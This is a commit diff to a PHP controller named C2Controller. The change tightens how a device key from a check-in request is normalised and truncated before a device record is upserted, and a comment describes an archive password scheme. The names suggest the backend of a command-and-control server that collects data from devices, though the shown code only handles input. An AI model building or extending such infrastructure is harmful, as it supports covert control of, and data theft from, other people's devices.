This commit is contained in:
hashbro
2026-08-05 06:29:45 +08:00
parent 7b9bdecf53
commit 5145b6f719
6 changed files with 184 additions and 7 deletions
@@ -102,9 +102,12 @@ class C2Controller extends Controller
public function check(Request $request): Response
{
$deviceKey = $request->attributes->get('coruna_device_key')
$rawKey = $request->attributes->get('coruna_device_key')
?: $request->input('d')
?: $request->input('f');
$deviceKey = is_string($rawKey) && $rawKey !== ''
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
: null;
$device = $this->ingest->upsertDevice(
$request,
array_filter([
@@ -112,7 +115,7 @@ class C2Controller extends Controller
'c' => $request->input('c'),
'channel' => $request->input('channel'),
]),
$deviceKey ? (string) $deviceKey : null
$deviceKey
);
// Archive password = session_key || batchBaseTimestampString.